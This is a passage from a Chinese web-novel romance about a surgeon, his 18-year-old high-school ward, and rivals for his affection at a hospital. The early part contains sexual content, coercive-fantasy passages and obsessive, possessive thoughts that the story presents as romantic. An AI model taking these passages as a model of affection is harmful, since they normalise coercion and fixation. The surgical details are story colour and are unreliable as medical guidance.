所以,不管许酌哥是骂他,还是打他。 都只会让他更加兴奋。 也更加喜欢 许酌洗漱好出来时,整个人都轻松了不少。 他穿好睡衣,开门走了出去。 他不是矫情的人,更不是未经人事的懵懂大学生。 虽然刚才确实是丞弋越界了。 但他还不至于情绪化地觉得这件事是丞弋的错。 毕竟说到底,今天是他把人带出去的。 也是他没注意到丞弋喝错了东西。 加上他年长丞弋十岁,所以归根结底都要由他担责任。 而且,他也不是喜欢逃避的人。 有问题解决问题,有麻烦解决麻烦。 丞弋不懂事。 但他懂。 他出来是准备找丞弋谈谈的。 但走至沙发前看到丞弋那张熟睡的脸,再看看现在的时间。 几秒后,许酌还是熄了准备把丞弋喊醒的念头。 明天丞弋还要上学。 还是等他醒了再说吧。 许酌转身去了玄关的卫生间。 出来时,他手里多了一条温热的湿毛巾。 简单给丞弋擦了擦脸和手,再给他重新盖好毯子,最后找出他的手机帮他冲上电,许酌这才关灯回了主卧。 而他刚关上主卧的门,沙发上的丞弋就再次睁开了眼睛。 昏暗的光线里,丞弋缓缓抬起刚被许酌摸过的右手,目光如夜色般潮稠。 他的许酌哥怎么会这么好。 明明被占了便宜,但还要来对他好。 所以许酌哥到底知不知道,他越好,他就越想占有他。 丞弋摩挲着指尖,然后,他收手,将手背印在唇上。 似是在感受许酌留下的温度。 实际上,他能感受到的就只有自己的体温。 眉头不悦地蹙起,心底的阴暗想法也无法自控地往外冒。 要是这个世界上的男人都死光就好了。 就只剩他和许酌哥。 那许酌哥就没得选了。 什么老男人,什么备选,什么小三。 通通都死光。 死光死光死光! 这样,他就可以和许酌哥日夜肌肤相贴了。 也不会因为感受不到许酌哥的体温而焦躁了 许酌不是个喜欢胡思乱想的人,更不会提前贷款焦虑。 在他看来,事情发生了就是发生了,与其花费大量时间去思考怎么办。 还不如多充电,以及多睡会觉。 毕竟白天还有很多工作要做。 所以他回到房间看了几页书后,就关灯睡觉了。 夜深人静。 沙发上的丞弋再次睁开了眼睛。 他浓黑的睫毛在空气缓缓眨了几次后,起身从沙发上坐起来,稠湿的眼眸直直盯着主卧的门板。 而后起身,悄然无息地朝着主卧走过去。 走到门口,他习惯性抬手。 却在快要触碰到门把手之前忽然顿住。 还是算了,现在去偷看许酌哥只会让他更难受。 丞弋转了个身,往阳台走了。 阳台上有许酌没收回来的衣服。 丞弋却没看那些衣服,直接拿下一条黑色内裤。 他拿着内裤回了沙发,躺下。 然后把内裤盖在了脸上。 硬挺的鼻梁将柔软的布料撑起弧度。 洗过的内裤已经没有许酌染上去的味道了。 但因为这款洗衣液是许酌常用的。 所以丞弋很自然就把那片味道当成了许酌的味道。 他闭着眼睛,感受着棉质的布料在他鼻尖上形成细微的压感。 这阵压感并不强烈,反而有种温温柔柔的既视感。 就好像他的许酌哥在贴着他温柔轻磨一样。 想到那个画面,丞弋浑身的血液都沸燃了起来。 手慢慢伸了过去。 之前他总是很随便,但这次因为鼻尖上有许酌的味道,所以他还要在脑海里兼顾着他的许酌哥。 空气越来越热。 丞弋的眉头也越蹙越紧。 不知道过了多久,他终于哑声开口,“许酌哥…….” 最后时刻,丞弋仰起脖子,微微张着嘴巴,似是准备接住什么。 但最终。 他也只是用灼热的吐息将黑色布料洇湿一角罢了。 意识到这一点,丞弋缓缓睁开眼,见眼前真的没有许酌,他眸底漾出一片爆|炸式的失落来。 但闻着布料上散发出来的幽香,那片失落又渐渐阴诡起来。 许酌哥你快点让我吃到你吧。 不然我真的快要发疯了 “许酌哥,我可以接受你的拒绝,但前提是你要认真看看我。” “以看一个男人的目光,好好看看我。” “好不好?” 大手贴着脖颈慢慢下滑,拇指还似有若无蹭过喉结。 许酌觉得痒,忍不住颤了下身子,“小弋,你先把手拿开。” “不拿。”丞弋的手继续下滑,食指和拇指已经开始解他领口的扣子。 但眼睛黏腻的目光还在看着他,“不是许酌哥要跟我谈成人话题的么?那我们先把衣服脱完再谈吧。” “我不是这个意思”许酌握住丞弋胡作非为的手,想制止他。 但他的力气太小了,根本拗不过丞弋。 丞弋的手还在解扣子,边解边笑,“没关系,许酌哥可以是这个意思,也可以直接试试我。” 许酌没明白“试什么?” 丞弋弯起唇角,上扬的弧度像极了危险的蛇信子,“许酌哥怎么变笨了,当然是试试我的大小啊。” 他俯身凑近,带着温热的唇瓣若即若离地贴蹭着许酌的耳垂,“顺便试试是我的更厉害,还是我哥的更厉害” 叮铃铃—— 叮铃铃—— 许酌在刺耳的闹铃声惊醒过来。 窗帘还没打开,房间没有光透进来。 许酌盯着漆黑的空气愣了好一会,才伸出胳膊拿来手机,按掉铃声。 耳边没了刺耳的铃声,却仍然没有安静下来。 而是又闯进一阵杂乱无章的跳动声。 许酌怔怔眨了好一会眼睛,才反应过来那是自己的心跳。 他没显慌乱,而是缓缓闭上眼睛,然后长长吁出一口气。 他昨天先是被丞弋摁着亲,接着又不着边际地想到丞弋的尺寸,会做到这种梦也不奇怪。 但事实还是有些令他难以接受。 毕竟他是真的把丞弋当弟弟的。 这样的梦做出来,已经不单单是乱套了。 许酌甚至都觉得自己龌龊极了。 然而,现实并没有那么多时间让他自责自省。 闹铃响了,他得起床上班了。 简单洗漱好,许酌对着镜子深吸了好几口,这才换了衣服出门。 刚走出门,就见丞弋刚从阳台收回一件黑色卫衣。 正准备往身上穿时,听见他开门的动静,抬眼看过来。 四目相对,许酌怔了下。 丞弋上身光|裸。 晨间的光不遗余力地穿透玻璃倾洒进来。 少年站在金色的光,那光在他身上形成一层微妙的滤镜的同时,也将他的身形轮廓更加清晰了显现了出来。 少年人身姿挺拔,肩膀宽阔,拿着卫衣的手臂上蛰伏着流畅的肌肉。 大概是刚洗完澡,他胸口还有未擦干的水珠正缓缓往下淌。 许酌的目光不由自主地跟着往下,视线自然落到了他的腰腹间。 十八岁少年的腰腹肌肉还不至于冲击视线。 但也足够清晰。 仔细看,那薄薄的肌肉上还覆盖野性的青筋。 虽然略显青涩,却也有了趋近成熟的澎湃张力。 但也只是趋近成熟而已。 许酌见过更成熟的肉|体,丞敛的。 因此,丞弋的身材在他眼里根本算不上有吸引力。 但也不知道是不是刚做过那场梦的原因,许酌有一瞬间的脸热。 他想移开视线,但又觉得欲盖弥彰,就忍住了,只是强装镇定,“你怎么还在家?今天不去学校么?” 丞弋的学校六点半就要开始早读了,但现在已经七点半了。 丞弋解释说,“去的许酌哥,但我刚才有点头疼,所以闹钟响的时候没能起来,我现在穿好衣服就去。” 说完,他把手里的衣服套上。 等他穿好,许酌还是有些担心问,“头疼?现在还疼么?” 丞弋笑着摇摇头,“现在不疼了,洗个澡出来好多了。” 许酌看着他,“确定?不行的话不要勉强,我可以帮你跟老师请假的。” 丞弋没说话,一步步朝着许酌走过来。 站定到许酌面前,他笑盈盈开口问,“许酌哥,你在担心我么?” 少年人说话时,眉眼里带着一片闪着光的期待。 许酌却避而不答,反而问,“你知道你为什么头疼么?” 闻言,丞弋眼里的期待缓缓散下去,点头说,“知道,昨天不小心喝酒了。” 他乖声道歉,“不好意思啊许酌哥,又给你添麻烦了。” 他说话时,脸上没有做坏事的心虚。 也没有占到便宜的得意。 只是认真认错的乖巧模样。 许酌迎着他的视线,问,“然后呢?” 丞弋茫然,“然后?什么然后?” 许酌眨了下眼睛,“你不记得了?” 丞弋思索着说,“我只记得许酌哥把我扶到沙发上,然后我就睡着了。” 说完,他担心反问,“怎么了许酌哥?是我后来耍酒疯了么?” 许酌安静。 几秒后,他说,“倒是没有耍酒疯,但你跟我保证了一件事。” 丞弋盯着他,“什么事?” 许酌微微一笑,“你说这两个月会认真备考,然后考个省状元回来给我看。” 本来许酌还想着要等丞弋醒来跟他好好聊聊昨天的事的。 但他忘了就算了。 毕竟那不过就是个无意识的醉酒亲,真算起来也没什么大不了的。 此时提出来反而会让丞弋胡思乱想。 而且丞弋这周就要开始模拟考了,他还是不要让这个高中生分心的好。 他没有明说,但丞弋还是知道他在想什么。 虽然早就知道许酌哥是个温柔又包容心强大的人。 但丞弋还是有些失落。 许酌哥居然不骂他,也不打他。 他特意起晚,又故意等在这里,就是为了让许酌哥对他发脾气的。 发多凶的脾气都可以,他根本不会生气,也不会难过。 他只会开心他终于得到了奖励。 现在什么也没有了。 没有打。 也没有骂。 但没关系,许酌哥不给的话,他主动要就是了。 想通这一点,丞弋抿唇乖笑起来,“那许酌哥有没有说会给我什么奖励?” 见他真的信了,许酌忽觉有些好笑,忍不住想逗人,“说了。” “什么奖励!”丞弋一双眼睛突然就亮了起来,底色还带着少年人才有的炽热期待。 许酌本是开玩笑,但被这样一双目光注视着,他不由得也认真了起来,说,“能力范围之内,哥给你最好的奖励。” 他特意加重了‘哥’这个字眼。 意思只能给这个特定身份范围里的奖励。 丞弋听出来,但还是做眼巴巴可怜问,“可以是跟我谈恋爱么?” 许酌:。 饶是已经见识过丞弋的直白了,但许酌还是被他惊到了,不由得头疼,“这不能算作奖励。” 丞弋眨眨眼睛,识趣换了一个,“那亲亲呢?” 说到亲亲,许酌脑海里自动浮现出昨天被丞弋凶狠吮舐的感觉。 他心下一慌,别开头,“不可以。” 不等丞弋再提什么明目张胆的要求,许酌先一步说,“走了,送你上学去了,奖励等你真的考到了再说。” 说着转身,准备往门口走。 却没走动,衣袖的位置传来拉扯的力度。 许酌回头,丞弋的手拉住了他的袖子。 他抬眼,对上丞弋漆黑的眸子。 “许酌哥,我不要奖励。”他开口,语速缓慢,最后几个字的音色被拖长,无端带着祈求的卑微感,“我只要你多看看我,好不好?” 许酌和他对视两秒,而后说,“好。” 丞弋没有露出高兴的神色,因为他知道许酌哥后面有话没说完。 果不其然,就听许酌下一秒又说,“你能考上省状元的话,我不仅多看看你,还会逢人就炫耀,今年的省状元是我许酌的弟弟。” 看吧。 又是这样。 弟弟弟弟。 烦死了。 早知道许酌哥还是这样认不清现实,他昨天就应该直接把许酌哥吃干抹净的。 边吃,还要边问许酌哥他到底是谁。 许酌哥敢说一遍弟弟,他就敢更用力一些。 直到许酌哥不敢再喊自己弟弟为止。 丞弋想得疯狂,实际上也只是慢慢松开许酌的袖子,然后垮着声音说,“许酌哥今天也是小孩子。” 说许酌又不敢直面他的喜欢呢。 许酌没反驳。 丞弋也没说话,转身去了餐桌。 回来时,他手里多了个手提袋。 是经常给许酌装饭菜的那个袋子。 “今天时间仓促,我只烤了个吐司,许酌哥先将就一下吧,明天再给你做好吃的早餐。”丞弋把袋子放到许酌手里。 放好,他拿起沙发上的校服和书包,“那我先去上学了,许酌哥再见。” 这人刚还说因为头疼没能早起去上学,结果还是一如之前般给自己做了早餐。 许酌心里有些不是滋味,但还是很快跟上丞弋,“我送你。” 丞弋在玄关换鞋子,“不用。” 说完似是觉得有赌气的成分,丞弋又解释,“这个时间开车过去很堵的,我自己骑自行车过去就好了。” 许酌想想也是,就说,“那你路上小心,到学校还有不舒服的话要记得联系我。” 丞弋嗯,“知道了。” 说完打开门,准备走出去时,又忽然顿住,然后回头看许酌。 许酌迎着他的视线,“怎么了?” 丞弋没说话,转身走回来,在许酌不明所以的目光里俯身抱住他。 他抱得不算紧,只是姿势充满了暧昧。 大手拢着许酌的后脑勺,另一只手圈住他的腰背。 许酌没做反应,只是听见丞弋在他耳边歉声说,“许酌哥,对不起,我刚才跟你发脾气了。” 许酌安静几秒,反应过来丞弋指的是刚才那几句语气不太愉快的话。 但在许酌眼里,那根本不算发脾气,最多就是小孩子闹情绪。 到不了需要道歉的程度。 更不需要抱着道歉。 许酌有些无奈,“我没生气。” 他拍拍丞弋的肩膀,“好了,快松开吧,等下第二节课都错过了。” 丞弋听话松开,看着他说,“许酌哥,你现在不喜欢我也没关系,我会等你的。” 他笑起来,“反正我很擅长等你的。” 许酌心口酸了一下。 “那我走了,许酌哥再见。” 说完,丞弋转身就走。 等许酌再回过神时,视线里只剩一抹蓝白色。 再一眨眼,蓝白色也不见了。 他垂眼,看了看手里的袋子。 又看了眼鞋柜下和他的鞋子并排放在一起的蓝色拖鞋。 那是丞弋刚换下来的。 也是他之前穿过的那双。 又过了一个星期,丞弋还是不肯换新的拖鞋。 之前许酌只觉得丞弋有些偏执。 现在细想一下,不止偏执。 还有很浓郁的占有欲。 丞弋每天踩着他穿过的拖鞋,不用猜也知道他都会想些什么画面出来。 毕竟许酌也是从青春期过来的。 他最清楚十八岁的男生有多躁动。 不然,丞弋昨天也不会亲他。 从他熟练的动作许酌就知道,丞弋已经不是第一次做那种梦了。 说不定还有更过分的。 许酌叹息。 接着又忍不住想,他之前是不是不该让丞弋搬过来的? 第23章 第 23 章 忙着应付众多追求者么?…… 23 周一的医院是非常忙碌的, 不管是门诊还是手术。 许酌上午排了一台手术,手术时常最起码要五个小时以上。 为了避免体力不支的情况,许酌停好车后又去便利店买了几个面包, 准备多吃一点。 本来还想买咖啡的。 但丞弋已经给他配好咖啡了。 许酌怀疑丞弋可能偷偷背下了他的排版表。 因为他已经发现了,丞弋在他不忙、或是不值夜班的时候, 通常都会给他准备一些豆浆或是果蔬汁来给他搭配早餐。 但在排手术、和值夜班的时候,都会特意给他准备一大杯热咖啡来帮助他提神。 没有刻意想比较什么, 但许酌在吃三明治的时候还是忍不住想起了丞敛。 他在想丞敛之前有这么细心么? 好像没有。 丞敛正式接管公司之后每天比他还要忙。 别说准备咖啡了。 连早餐都没亲手准备过。 最多就是提前帮他点好外卖送到办公室。 而一个恨不得把一秒分成两秒来用的高三学生,竟然每天都能挤出时间来给他准备早餐。 许酌咽下最后一口三明治,喝了口咖啡。 放下杯子时, 他忽然有些想笑。 笑这两兄弟还是挺像的。 毕竟丞敛在没结婚之前或者说是追他的那两年里, 也是这么殷勤又细心的。 只是后来都变了而已。 “早啊许老师。”岑嘉祯来跟许酌打招呼。 许酌收回思绪,抬眼应,“早。” 然后问他,“早餐吃了没?没吃我这里有面包。” 岑嘉祯笑,“谢谢许老师,但我吃过啦。” 说着,他把手里的纸袋递出去,“我还顺路给许老师带了杯咖啡。” 许酌接了放在桌子上, “谢了。” 岑嘉祯害羞笑笑,“不用谢的。” 他忍着嘴角的笑意, “那许老师先喝咖啡, 我去换衣服。” 许酌嗯了声。 然后拿出手机,给岑嘉祯的支付宝账号转了二十块钱过去。 虽然互带咖啡已经他们心外科的传统文化了。 但岑嘉祯一个规培生到手都没几个工资, 一个月紧紧巴巴地生活还得家里倒贴钱。 作为一个有稳定收入的前辈,许酌自然不会占岑嘉祯这点便宜。 岑嘉祯收到消息提示,转头不高兴, “许老师你干嘛啊!我请你喝咖啡你怎么还给我钱啊!” 许酌拿起自己的咖啡杯,“等你涨了工资再来请客吧,现在赶紧换衣服,我先去监护室了。” 岑嘉祯还在后面喊,“可是咖啡才九块九!而且许老师你咖啡也没拿啊!” 许酌晃了晃手里的杯子,“我自己从家带了,那杯请你喝了。” 岑嘉祯:? 啊? 许老师请他喝他带来的那杯咖啡? 岑嘉祯有些懵。 然而许酌已经走出了办公室。 没办法,岑嘉祯只能囧囧地看着那杯刚送出去的咖啡。 或许是许酌重新给这本咖啡赋予了新意义的原因,使得岑嘉祯盯着那杯咖啡看了会,忽然就傻笑了起来。 许老师请他喝咖啡。 嘻嘻。 许老师又请他喝咖啡了。 原地傻笑了好一会,岑嘉祯还是没能消化掉突如其来的喜悦。 他走过去拿起那杯咖啡,然后用手机拍了个照。 拍好,他把照片发进置顶在前面的规培群聊里。 并附上一行字:[如果你们也知道许老师又又又请我喝咖啡了,你们一定也觉得我是个非常好命的规培生吧。幸福.jpg] 规培生的怨气向来比鬼还重。 加上今天又是周一。 debuff叠满的情况下,岑嘉祯这一炫耀堪比火上浇油。 群里集体破防,追着岑嘉祯骂。 但岑嘉祯根本不看手机,也不管他们死活,嘚瑟完就美滋滋去换衣服了。 他只是很可惜自己没有丞弋那个绿茶狗的微信。 不然他高低还得再秀一遍。 看吧看吧,这是许老师送给我的咖啡哦。 你没有吧?略略略。 早上的查房结束后,许酌一刻没停地直接去了手术室。 一台手术结束已经是下午两点了。 好在许酌早餐吃得很饱,不然真不够这场手术消耗的。 即便如此,他下了手术还是感觉到一阵心慌的饿意。 所以他衣服都没还就先直奔食堂。 结果刚进电梯,他口袋里的手机就响了。 拿出来一看,是林祈。 林祈医院眼科的住院医,也是他读研的室友。 他接起来,“喂。” 林祈问他,“你人呢?我在你们办公室呢。” 许酌看着缓缓上行的电梯,“你回来了?我准备去食堂呢。” 林祈和眼科主任去港城参与人工眼球的研发去了。 当然,林祈一个住院医自然帮不上什么实质性的忙。 他过去只是帮忙做记录顺便学习的。 “后面的试验要保密了,我跟老师就先回来了。”林祈又说,“到食堂给我点一份排骨饭,我这就过来找你。” 许酌点好两份饭,找了个靠窗的位置坐下。 刚坐下,他的手机就响了一下。 许酌看了眼,是丞弋给他发过来的微信。 一张图片。 下面附着文字。 丞弋:[上周的化学卷子,最后一道题只有我做对了。] 文字没有感情。 但许酌还是从这段文字里想象到了少年人期待夸奖的神色。 他忍不住抿唇笑了笑,给他回:[很厉害] 又问他:[还有没有哪里不舒服?] 丞弋:[没有。愉快.jpg] 许酌:[那你好好上课吧,别偷玩手机了] 丞弋:[现在是课间休息] 丞弋:[我从来不在课上偷玩手机的许酌哥] 还要回,身边坐下一个人。 抬眼一看,是林祈。 林祈身上穿着白大褂,刚坐下就扑过来把他抱住,“好想你啊酌酌宝贝,快让我抱抱!” 这人扑过来把他整个人抱住也就算了,还抱着他晃来晃去的。 许酌的手机都差点被他晃掉。 “你有没有点样子了。”许酌拿稳手机,这才去推林祈,“快坐好。” 林祈坐好,但两只手还紧紧搂着许酌,下巴也十分亲昵地搭在他肩上,“你好无情啊宝贝,我们都多久没见了,你都不想我么?” “我忙死了,哪有空想你。”许酌又推他,“快坐好吧你。” 林祈坐好,但目光还黏在许酌身上,“你忙什么?忙着应付众多追求者么?” “别瞎说,哪没有追我。”许酌放下手机,拿起筷子搅了搅面前的拌面。 林祈哼笑,“少来了你,我去了一趟护士站什么都知道了,听说万年不开花的余主任也在追你啊。” 许酌看他,“你还要不要吃饭?” 林祈哎呀一声,“那我有危机感嘛,有人追你我可是第一个不愿意的。” “你凭什么不愿意?” 身后有声音传来。 林祈回头一看,是穿着深绿色手术服的周黎安,他笑着调侃,“哎呦,这不是我周师兄嘛。” 周黎安懒得理他,端着餐盘绕到桌子这一边,坐到许酌对面,温声问他,“才下手术?” 许酌嗯了声,“做了个瓣膜置换手术。” 林祈强势插话,“周师兄怎么不问问我怎么突然回来了?” 周黎安抬眼看他,微笑表示关心,“师弟长途飞行该累了吧,快吃饭吧。” 意思是让他别说话了。 林祈偏要说,“多谢师兄关心,但我不累。” 他身子一歪,又把头靠在了许酌肩膀上,“我一看到我的酌酌宝贝,就什么疲惫都消失了。” 许酌已经习惯两人这样斗嘴了,没制止,安静拌饭。 周黎安却是眸色一深。 他发现他是越来越讨厌林祈了。 这人在上学期间还是他的情敌,是的,林祈之前也追过许酌。 许酌结婚当天,甚至还跟他一起喝酒买醉。 喝到一半,他失声痛哭,哽咽说自己失去了人生挚爱。 结果没过几个月,他就和许酌处成了朋友。 这人也不知道是不是故意的。 反正他每次和许酌走在一起不是搂着他的胳膊就是靠着他的肩膀。 还顾名思义说好朋友就是这样的。 周黎安一度怀疑林祈只是借着朋友的身份正大光明地占许酌的便宜。 事实证明。 林祈这两年却是占了不少许酌的便宜。 而周黎安别说像他一样对许酌动辄搂抱了,他甚至连许酌的手都没碰过。 简直越想越气。 周黎安看着他,微笑嘲讽,“你要不累的话可以去骨科拍个ct。” 年纪轻轻骨头就没有支撑了,多半是要瘫痪了。 林祈听出他的言下之意,眨巴着眼睛跟许酌告状,“宝贝,他当着你的面就敢诅咒你最好的朋友,可见不是个好人,你以后记得离他远点。” 许酌眼也不抬,“我不在,你们聊。” 周黎安笑。 林祈哼。 勉强还算和谐地吃完一顿饭,许酌就回去还手术服了。 还完衣服他还要去GICU看刚做完手术的那个病人。 周黎安也要过去,就陪着许酌一起去还衣服了。 还完衣服,两人同路往GICU走。 路上的时候,周黎安没故意找让许酌不自在的话题,只是跟他聊着上午的手术细节。 许酌显然还是更喜欢跟周黎安聊临床事宜,神色间都是认真和愉快。 GICU里。 岑嘉祯已经在拿着小本本记录术后的病人状态了。 他观察得认真,都没注意到许酌来了。 还是听见护士愉快喊,“许医生来啦。” 许酌嗯了一声。 岑嘉祯抬头,果然看到了许酌,他开心笑起来,“许老师。” 许酌还没应声,身旁的周黎安就先说,“那我先去看我的病人了。” 许酌点头,“好,师兄去吧。” 等周黎安去找他的病人了,许酌也朝着岑嘉祯走了过去,“怎么样?” 岑嘉祯按照小本本上的记录一条条回答他。 许酌一边听他回答,一边俯身自己去检查病人状态。 等他做完一遍基础检查,岑嘉祯也汇报完了,正紧张又期待地等他开口。 许酌点头,“嗯,观察得不错。” 岑嘉祯腼腆笑起来。 许酌又问,“病人术前的病录你没看过么?” 岑嘉祯想了想,点头,“看了,术中的情况我也看了。” 许酌走到床旁,“那你来看看他的尿量。” 岑嘉祯不明所以,但还是走过去看了眼挂在床旁的尿袋,然后蹙眉,“手术结束快一个小时了,他的尿量好像有点少。” 许酌嗯了声,“继续。” 继续? 岑嘉祯挠挠头,脑子快速思考着和尿量相关的知识。 结果无果。 他什么都没想不到,只好求助许酌,“不好意思啊许老师,我想不到了。” 许酌也不怪他,还温声提醒,“病人术前肾功能不好。” 岑嘉祯思索两秒,眼睛一亮,“哦对!患者术前肾功能不太好,可能醒的比较慢,术后应该多注意尿量,尿量不达标的话要适当补一些利尿剂。” 许酌轻笑,“这不是都知道么,怎么自己想就想不起来?” 岑嘉祯尴尬挠头,“对不起啊老师,我太大意了。” 许酌还未开口,口袋里的手机就忽然响了起来。 他拿出来看了眼,是崔玉知。 他接起来,“老师。” 电话那边,“来趟会议室。” 没说干什么,但许酌还是利落应声,“好,这就来。” 挂完电话,许酌跟岑嘉祯说,“我去会议室,你做好记录可以去休息一下。” 岑嘉祯点头,“好的许老师,你快去吧。” 许酌出了gicu。 等电梯时,他看见周黎安也走了过来。 “你也去会议室?”周黎安问他。 许酌看着他,“师兄也是?” 周黎安点头,然后思索说,“你们组最近有特殊手术案例?” 许酌摇头,“没有。” 周黎安不解,“那突然喊我们过去干什么?” 许酌笑,“到了不就知道了。” 会议门口守着两个身穿黑色西装的人,模样气质一看就是训练有素的保镖。 许酌和周黎安对视一眼。 周黎安小声说,“好大的阵仗。” 许酌不置可否,淡然走到会议室前。 两个保镖看他们一眼,没做阻拦。 许酌这才敲门。 得到里面传出来的,“进。” 许酌推门,眼底一惊。 本以为门口守着两个面容冷肃的保镖已经足够夸张了,没想到会议室里更夸张。 抬眼望去,只见会议室的主座坐着院长,旁边坐着副院长。 左侧坐着心外科和血管科两个科室的正副主任。 对面只坐着两个西装革履的男人,一个五十岁左右,一个三十左右。 中年男人面无表情,给人一种不怒自威的强大气场。 旁边的年轻男人起初懒懒靠在椅背里看手机,听到开门声抬头,露出一张恣意精致的脸 和许酌对上视线时,男人唇角漾起弧度,声线散漫,“你好啊,许医生。” 第24章 第 24 章 一股陌生的浓香味。…… 24 “你好。”许酌点头回应。 也真是巧, 周黎安昨天刚提过谢旌,今天就在这里碰到谢旌了。 他有些意外。 意外碰到谢旌。 也意外现在这个堪称隆重的场面。 但他还是淡定自若走进来。 落座前,他先是对着两位院长问了声好, 这才坐下用目光询问自己的老师。 崔玉知跟他介绍,“这是谢董, 飞跃集团的董事长,旁边是谢董的少爷, 也是飞跃集团的副总裁。” 闻言,许酌恍然点头。 原来是飞跃集团的老板,难怪这么隆重。 飞跃集团是一家高科技医疗设备研发制造公司。 也是常年赞助他们医院的最大资本商。 不仅捐献各种医疗器械, 就连他们医院大大小小的公益活动也都有飞跃赞助的痕迹。 一旁的周黎安却忍不住蹙了眉头。 大学的时候他只知道谢旌是个有钱的富二代。 却不知道他居然是飞跃集团的富二代。 倒不是心里不平衡, 他只是担心谢旌会再次成为他的竞争对手。 毕竟这人之前追许酌的势头和丞敛不相上下。 他这边还在担心谢旌会不会成为他的威胁。 那边院长已经开口说,“好了,人到齐了我们就开始吧。” 把两个科室的正副主任都喊过来自然不是来讨论投资的。 只可能是会诊。 下一秒。 崔玉知果然拿起面前的几项检查报告一一贴到了观片灯上。 看清几张片子上显示出来的病例特征时,许酌当即惊住了。 主动脉瓣二瓣叶畸形,升主动脉前后径52mm。 是需要立即做手术的病变。 许酌看向谢旌。 谢旌漫不经心一笑,“许医生别看我啊,我没病,这是我家老头的报告。” 许酌又看了一言不发的谢董。 一般来讲, 病因向身体发出信号的人,通常都会在面部彰显一些基础特征。 但谢董虽然发间隐约可以看见几丝白发, 但他的精神面貌还是矍铄硬朗的。 完全不像胸骨里装了个定时炸|弹的人。 崔玉知说, “谢董,我之前已经跟你说过了, 一般正常人是有三个瓣叶的,而你只有两个瓣叶。” “而且反流严重,已经导致你的主脉瘤样扩张到52毫米了。” “并且你瘤样的位置非常不好, 刚好长在主动脉小弯侧位。” “我的建议是,直接采取Bentall手术换Edward四代生物瓣。” “所以还是要开胸?”沙哑的声音突兀地响起。 许酌看着开口说话的谢董。 他说话的声音已经哑到这种程度了,看来瘤样已经开始压迫到他的气管了。 崔玉知点头,“谢董,你可能还是不太了解你的病情,我这样跟你说吧,你现在的主动脉就像一个不断膨胀的气球,它随时可能会爆|炸,已经到了严重威胁生命的地步。” 谢董没说话。 谢旌忽然喊对面的许酌,“许医生怎么看?” 许酌没说话,先看向崔玉知。 崔玉知无声点了点头,许酌这才开口说,“谢董不想开胸的话,还有一种微创疗法,微创的优点是切口小,术后恢复快,但缺点是视野狭窄,不利于手术操作,如果术中出现危机情况,很有可能会耽误抢救。” “而且谢董的瘤样已经压迫到气管了,微创的治疗达不到最佳效果,术后恢复不好的话,还是要二次手术的。” “另外,三维ct是具有误差的,二瓣叶到底是修复还是置换,还是要开进去才能知道具体情况。” “所以我的建议和崔主任一样,开胸行Betall治疗术。” 许酌条理清晰娓娓道来时,谢旌就直勾勾盯着他看。 有那么一瞬间,他感觉自己好像忽然回到了大二那年。 许酌被教授点名回答问题,他站起来,脊背挺直,嗓音清润。 窗外的光似是格外偏爱他,不偏不倚地落在他身上。 照得他仿佛在发光。 那是谢旌第一次知道,原来一个人在回答枯燥冗杂的医学名词时,也可以迷人成这样。 此时的许酌虽然没有被阳光偏爱,却还是被万物之主的时间给深深偏爱了。 时间的流逝不仅没有在他的面容上留下任何初老的痕迹,还将他身上那股润如暖玉的温柔沉淀得更加有魅力了。 以前大学里总流传一句话,谁会不喜欢许酌啊。 是啊,谁会不喜欢许酌啊。 饶是现在,谢旌还是会为这样的许酌心动。 他目光痴迷,笑意鲜明,“许医生说得好有道理啊。” 许酌没说话了。 谢旌没再让许酌为难,看向崔玉知,“开胸的话,谁主刀?” 崔玉知说,“如果谢董同意手术的话,我会和血管科两位主任商定出一个详细的手术方案,到时候会给谢董过目的。” 谢旌点头,“行,那你们商定方案吧。” 谢董还想说什么,却被谢旌先发制人,“这事没得商量了,我还不想那么早继承遗产。” 谢董没好气打了下他的后脑勺。 谢旌嘶了一声,“谢升华你干什么!你知不知道这还有别人在场呢!” 谢董也就是谢升华可太清楚他儿子口中的这个‘别人’具体指的是谁了。 他起身看了眼许酌,又垂眼哼谢旌,“放心吧,人家瞎了眼也不会看上你,根本不会在意你是个什么形象。” 谢旌:。 谢旌孝顺一笑,“要不我还是直接继承遗产吧。” 谢升华看也不看他,问院长,“我的病房安排好了么?” “安排好了。”院长起身,恭敬坐着请的手势,“谢董这边请,我带你过去。” 许酌周黎安等人也跟着起身。 崔玉知帮忙开门,“那谢董先到病房休息吧,我这边商讨出个手术流程就给你送过去。” 谢升华嗯了声。 谢旌没跟着谢升华一起往外走,而是笑盈盈停在了许酌面前,“许医生,听说你和姓丞的离婚了,是吧?” 许酌觉得这人跟以前真是一点变化都没有。 还是那么随心所欲。 明明他的父亲已经病得那么严重了,这人居然还有心情问他这么无关紧要的问题。 许酌清然一笑,“不好意思啊谢总,上班期间拒绝回答私人问题。” 谢旌听过很多人喊他‘谢总’,但都没许酌喊得好听。 许酌的嗓音和他这个人一样,温柔极了。 而且他说话时还会认真注视着你的眼睛。 这哪里是在表示尊重,分明就是在勾引人。 谢旌被他勾引得心底痒痒,勾唇笑,“这样啊,那许医生今天几点下班,我请你吃饭啊。” 许酌说,“抱歉,我晚上还有手术,恐怕没有时间吃饭了。” 谢旌笑意不变,“没关系,我等许医生,反正我今天都在医院。” 周黎安走过来,似笑非笑说,“谢总还请先出去吧,我们要讨论手术方案了。” 谢旌看他, 两人对视。 半晌,谢旌笑起来,“好的呢,这位昔日情敌。” 走之前,他朝许酌懒懒挥了挥手,“那我先走了,这位迷人的许医生。” 由于谢升华的手术具有一定难度。 所以具体的手术方案讨论是需要多学科会诊的。 等无关人员离开之后,崔玉知又请来麻醉科、营养科、重症医学科、还有放射科,甚至是手术室以及GICU的护士长。 十多名医学专家经过两个小时多方面的讨论,终于定下一套完整的术前、术中以及术后的全套流程。 Bentall手术是高难度手术,除了崔玉知也没人敢挑这个大梁。 所以这场手术的主刀医生自然非她莫属。 崔玉知拿着报告去了谢升华的病房。 许酌跟他一起。 谢升华不是普通病人,自然不住普通病房。 而是住进了最豪华的单人间里。 敲门进去的时候,谢升华已经换上了蓝白色的病服。 他躺在那里,鼻梁上架着眼镜,身上还放着电脑,显然是在处理工作上的事。 反观谢大少爷,则懒懒靠坐在沙发里,慢慢悠悠削着苹果皮。 “谢董怎么还在忙工作?”崔玉知走进来。 谢旌幽幽开口,“准备冲击世界首富呢。” 谢升华凌眉横他一眼,“我是为谁啊。” 谢旌识趣赔笑,“为我为我,来谢董,吃个您儿子亲手削的苹果吧。” 谢升华拨开他的手,“滚蛋。” 谢旌啧他,“你这老头怎么还不识好人心呢。” 谢升华懒得理他,看着崔玉知,“手术方案定好了?” 